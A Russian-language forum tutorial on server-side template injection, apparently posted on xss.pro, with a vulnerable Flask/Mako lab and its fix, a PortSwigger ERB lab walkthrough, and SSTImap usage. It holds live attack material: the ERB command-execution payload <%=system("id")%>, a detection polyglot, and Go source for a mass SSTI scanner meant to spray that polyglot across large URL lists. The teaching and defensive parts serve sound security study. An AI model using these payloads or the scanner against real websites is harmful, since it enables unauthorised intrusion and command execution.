<%=
Эта статья посвящена SSTI, я знаю, что это очень специфическая уязвимость, но считаю что достаточно важная так что стоит написать. Мы разберемся, что такое SSTI, как понять, какой шаблон (template) был использован, и ознакомимся с некоторыми лабораториями.Содержание
- Шаблон / Шаблонизатор
- Внедрение шаблона на стороне сервера (Server-Side Template Injection)
- Лаборатории
- Как защититься?
Шаблон / Шаблонизатор?
Веб-шаблон - это готовая веб-страница, которую можно использовать для создания веб-сайта. Простыми словами это веб-страница, на которую пользователь может вводить информацию, такую как текст, изображения и т.д.Шаблонизатор - это инструмент , используемый в веб-разработке для объединения статических шаблонов с динамическими данными для получения конечного результата, который может быть отображен пользователям в веб-браузере. Он просто объединяет шаблоны с данными и позволяет создавать веб-страницы, которые могут изменяться в зависимости от пользовательского ввода (откуда и появляются проблемы).
Как работает механизм создания шаблонов?
Представьте себе простой HTML-шаблон, например: <p>Привет, {{name}}!</p>. Шаблонизатор берет этот шаблон и заменяет {{name}} фактическими данными, например "GrozdniyAndy", и выводит: <p>Привет, GrozdniyAndy!</p>. Проблема заключается в том, что если пользователь вводит определенный код вместо имени, то этот код может быть выполнен, и в ответе могут возникнуть проблемы, начиная с раскрытия информации и заканчивая выполнением произвольного кода.Какие шаблонизаторы существуют и чем они отличаются?
Я попытался обобщить их по языку и употреблению:FreeMarker - шаблонизатор на базе Java, используемый для веб-разработки. Он поддерживает HTML, XML и JSON.
Jinja, используется в веб-фреймворках Python. Он поддерживает HTML, XML и JSON.
Twig, разработанный для PHP и обычно используемый в веб-приложениях Symfony, поддерживает HTML, XML, JSON и т.д.
Smarty, движок шаблонов на основе PHP, подходит для веб-разработки. Он поддерживает различные типы контента.
EJS (Embedded JavaScript) - это движок шаблонов JavaScript, который используется в приложениях Node.js. Он поддерживает HTML-контент и позволяет интегрировать JavaScript.
Velocity, используется в веб-приложениях Java, поддерживает HTML, XML и текстовой контента.
Что такое CMS и какая разница между ними и Шаблонизаторами?
CMS - Content Management System - это система, которая позволяет пользователям создавать веб-сайты без навыков программирования. Wordpress, Drupal, Joomla, PrestaShop - являются наиболее часто используемыми CMS.Шаблонизаторы предназначены для создания динамического контента в веб-приложении. CMS, с другой стороны, представляет собой полноценную систему для создания веб-сайтов. Я запутался, когда увидел уязвимости внедрения шаблонов в CMS, после небольшой проверки я обнаружил, что некоторые CMS используют шаблонизаторы, но про это в лабах.
Server-Side Template Injection
Внедрение шаблона на стороне сервера - это уязвимость, которая возникает, когда пользователь вводит вредоносный код в шаблоны. Шаблоны имеют разный синтаксис, но логика уязвимости одна и та же. Mako - это шаблонизатор, используемый для создания динамического контента в веб-приложениях и других текстовых форматах. Мы создадим с его помощью простое веб-приложение и попытаемся устранить потенциальные уязвимости.Создание лаборатории:
Скачиваем Mako
Bash:
pip3 install Flask Mako
Вставляем это в app.py
Python:
from flask import Flask, request, render_template
from mako.template import Template
app = Flask(__name__)
@app.route("/", methods=["GET", "POST"])
def index():
if request.method == "POST":
user_input = request.form.get("user_input")
email = request.form.get("email")
template = Template(f"<html><head><title>User Input Output</title></head><body><h1>User Input Output:</h1><p>Text: {user_input}</p><p>Email: {email}</p></body></html>")
output_html = template.render(user_input=user_input, email=email)
return output_html
return render_template("input_form.html")
if __name__ == "__main__":
app.run(debug=True)
Создание каталога templates
Bash:
mkdir templates
Добавляем нашу HTML-страницу input_form.html
HTML:
<!DOCTYPE html>
<html>
<head>
<title>User Input Form</title>
</head>
<body>
<h1>Enter Text:</h1>
<form method="POST">
<label for="user_input">Text:</label>
<input type="text" id="user_input" name="user_input">
<label for="email">Email:</label>
<input type="email" id="email" name="email">
<input type="submit" value="Submit">
</form>
</body>
</html>
Скелет должен выглядеть примерно так
Код:
_
|-app.py
|-templates/
|--input_form.html
Изображение [1]: Запуск
Изображение [2]: Запуск
Таким образом, приложение в основном выводит все, что мы пишем, здесь нет базы данных или чего-либо еще, просто простое приложение. Уязвимости, которые могут возникнуть здесь, основаны на инъекциях, это может быть XSS, SSTI, честно говоря, больше ничего не приходит мне в голову. Возможно, ещё было бы "Error Message Containing Sensitive Information".
Перед проверкой на SSTI мы должны проверить синтаксис, я просто погуглил и получил эту ссылку
https://docs.makotemplates.org/en/latest/syntax.html - мы можем ввести ${7*7}. Также мы можем проверить наличие XSS в части электронной почты, мы просто отправим <img src=x onerror=alert(1)>. Когда мы пытаемся ввести полезную нагрузку XSS в входную информацию "Email", она не принимает ее, поскольку ожидаемый тип - электронная почта, но проверка из бэкенда отсутствует, поэтому мы можем просто отредактировать HTML-код в frontend или просто отправить отредактированный запрос напрямую.
Изображение [3]: Редактирование типа
Изображение [4]: Хааацк
Изображение [5]: Утечка каталога и кода
Утечка исходного кода и каталогов может помочь в дальнейших атаках. Например, если веб-сайт уязвим для SQL-инъекций, утечка каталога может быть полезна хакеру, чтобы он знал, в какой каталог загружать файл и получать оболочку (Shell). Утечка исходного кода даст хакеру советы по поиску новых уязвимостей или усилению воздействия существующих уязвимостей, которые уже ему известны.
Итак, чтобы устранить проблемы, мы должны сначала обработать данные ввода и этим предотвратить инъекции, отключить debugging, добавить дополнительную проверку электронной почты в серверной части.
Изображение [6]: Исправление кода
Код внутри первого прямоугольника - это функция для проверки электронной почты, второй прямоугольник вызывает эту функцию и, если электронная почта неверна, выводит текст, третий прямоугольник предназначен для предотвращения внедрения с использованием "| h", четвертый прямоугольник просто отключает debugging. Как вы теперь видите, наш код не выполняется:
Изображение [7]: Хааацк не получился
Вы можете спросить меня, откуда взялся "|h"? Я просто проверил документацию и нашел фильтрацию выражений:
https://docs.makotemplates.org/en/latest/filtering.htmlТеперь мы немного понимаем, как все это работает, пришло время проверить лаборатории.
Лаборатории
Основная проблема, которая может возникнуть здесь, заключается в том, чтобы понять, какой шаблон на самом деле используется. Мы можем узнать это из сообщений об ошибках, проверив исходный код, используя расширения, такие как wappalyzer, или, возможно, просто погуглив лол. Когда дело доходит до автоматизации, я попытался установить tplmap, через некоторое время я понял, что исправление всех ошибок займет некоторое время так что работаем с SSTImap.Лаборатория №1
URL: https://portswigger.net/web-securit...ting/lab-server-side-template-injection-basicВместо того чтобы читать описание, давайте попробуем определить, какой шаблон используется, и выполним простую инъекцию команды. Есть список известных шаблонизаторов и их документации, если мы проверим их один за другим, то увидим, что используется ERB.
Код:
https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/template-engines-special-vars.txt
Я открыл лабораторию и начал нажимать на кнопки, когда я нажал на первую кнопку, новая страница не открылась, вместо этого появилось сообщение об ошибке. Поскольку вы видите, что текст в url и отраженный текст совпадают, возможно, что все, что мы напишем в параметре "message" url-адреса, появится на странице.
Изображение [8]: Главная страница
Я проверил документацию, чтобы понять синтаксис ERB:
Код:
<% Ruby code -- inline with output %>
<%= Ruby expression -- replace with result %>
<%# comment -- ignored -- useful in testing %>
% a line of Ruby code -- treated as <% line %> (optional -- see ERB.new)
%% replaced with % if first thing on a line and % processing is used
<%% or %%> -- replace with <% or %> respectively
Изображение [9]: Хааацк
Я попытался проверить это с помощью SSTImap, инструкций по установке и простому использованию:
Bash:
git clone https://github.com/vladko312/SSTImap.git
cd SSTImap
pip3 install -r requirements.txt
./sstimap.py -u 'https://YYYYYYYYYYYYYYYY.web-security-academy.net/?message=a'
Изображение [10]: SSTImap
ERB используется для встраивания кода Ruby в HTML-документ, поэтому мы можем просто использовать код Ruby для выполнения команд. Я нашел статью об этом:
https://www.rubyguides.com/2018/12/ruby-system/. Полезная нагрузка, которую мы собираемся использовать: <%=system("id")%>
Изображение [11]: id
После этой лабораторной работы я подумал, что могу просто автоматизировать процесс, чтобы быстрее понять, существует уязвимость или нет. Чтобы это сработало, на сервере должен быть включен режим отладки, так что это снижает шансы, но помогает быстрее понять, существует ли уязвимость, и если да, то мы можем понять, какой шаблонизатор используется.
Полиглот:
Код:
${{<%[%'"}}%\%>
Этот полиглот на самом деле из одной из лабораторий, я протестировал все лаборатории, и он работает в 4 из 7 лабораторий. Я немного отредактировал полиглот, потому что в первой лаборатории он не работал.
Изображение [12]: Лаборатория 2/7
Изображение [13]: Лаборатория 2/7
Изображение [14]: Лаборатория 4/7
Изображение [15]: Лаборатория 5/7
Изображение [16]: Лаборатория 5/7
Я решил написать простой инструмент, который поможет нам идентифицировать SSTI в больших масштабах. Смысл этого инструмента заключается в замене параметров на полиглот и проверке того, содержит ли ответ ошибки или равен ли статус код 500. Пользователи могут добавлять URL-адреса доменов в файл, а затем использовать команду xargs с помощью этого инструмента и протестировать на наличие SSTI или, возможно, SQL-инъекции, в обоих случаях могут возникнуть ошибки. Я, очевидно, понимаю, что SSTImap более продвинутый, этот инструмент просто попытается определить потенциальные места, где может возникнуть проблема. Представьте, что у вас есть 100 тысяч ссылок и вы отправляете их в SSTIMap, это может занять целую вечность. Я не несу ответственности, если вы получаете вредоносное ПО из скомпилированных версий. Я настоятельно советую вам скомпилировать код самостоятельно.
Изображение [17]: TFuzz
TFuzz:
Код:
package main
import (
"fmt"
"io/ioutil"
"net/http"
"net/url"
"os"
"strings"
)
func main() {
fmt.Println("Made with ♥ for xss.pro")
// Check if the command-line argument is provided
if len(os.Args) != 2 {
fmt.Println("Usage: tfuzz <URL>")
return
}
// Extract the URL from the command-line argument
userInputURL := os.Args[1]
// Parse the URL
parsedURL, err := url.Parse(userInputURL)
if err != nil {
fmt.Println("Error parsing URL:", err)
return
}
// Extract the query parameters
queryParams := parsedURL.Query()
// Replace the values of all parameters with "${{<%[%'\"}}%\\%>"
for key := range queryParams {
queryParams[key] = []string{"${{<%[%'\"}}%\\%>"}
}
// Encode the modified query parameters
parsedURL.RawQuery = queryParams.Encode()
// Make an HTTP GET request
response, err := http.Get(parsedURL.String())
if err != nil {
fmt.Println("Error making HTTP request:", err)
return
}
defer response.Body.Close()
// Check if the status code is 500
if response.StatusCode == http.StatusInternalServerError {
fmt.Printf("Success: Status code 500 (Internal Server Error) detected for URL: %s\n", parsedURL.String())
return
}
// Read the response content
content, err := ioutil.ReadAll(response.Body)
if err != nil {
fmt.Println("Error reading response:", err)
return
}
// Check if any of the specified error messages exist in the content (case-insensitive)
errorMessages := []string{
"Traceback",
"Syntax Error",
"SyntaxError",
"Invalid Syntax",
"parse Error",
}
for _, errorMsg := range errorMessages {
if strings.Contains(strings.ToLower(string(content)), strings.ToLower(errorMsg)) {
fmt.Printf("Success: Error message '%s' detected for URL: %s\n", errorMsg, parsedURL.String())
return
}
}
fmt.Printf("Failure: None of the specified errors or status code 500 detected for URL: %s\n", parsedURL.String())
}
Скомпилированные версии:
https://www.upload.ee/files/15692743/tfuzz.zip.html- Windows
- 32:
https://www.virustotal.com/gui/file/7aa48ae4941f5a7822427596d4974dca5d7fb7a8b58ee53e51f7bb062c039d7e - 64:
https://www.virustotal.com/gui/file/7d5728232da8c2712429271c45bf06319fbe91c76acf435f442dbec0a5a9566e
- 32:
- Linux
- 32:
https://www.virustotal.com/gui/file/654c721252f115160e2322ba0f6bbf6040489fa87f6281fc84bcdb6aefa3aaab - 64:
https://www.virustotal.com/gui/file/0721ee2c00dda0e06b94fb625d7550b52fd72855bb6c7a82cb9af93e62496276
- 32:
- OS X:
https://www.virustotal.com/gui/file/d9b448a999b13c5872b7665adb6146bab8e2acb7262a770bb5207101bd427902
Bash:
mkdir tfuzz
go mod init tfuzz
GOOS=windows GOARCH=amd64 go build -o tfuzz_winx64.exe
GOOS=windows GOARCH=386 go build -o tfuzz_winx32.exe
GOOS=linux GOARCH=amd64 go build -o tfuzz_linux64
GOOS=linux GOARCH=386 go build -o tfuzz_linux32
GOOS=darwin GOARCH=amd64 go build -o tfuzz_osx
Продолжение в комментах
Последнее редактирование: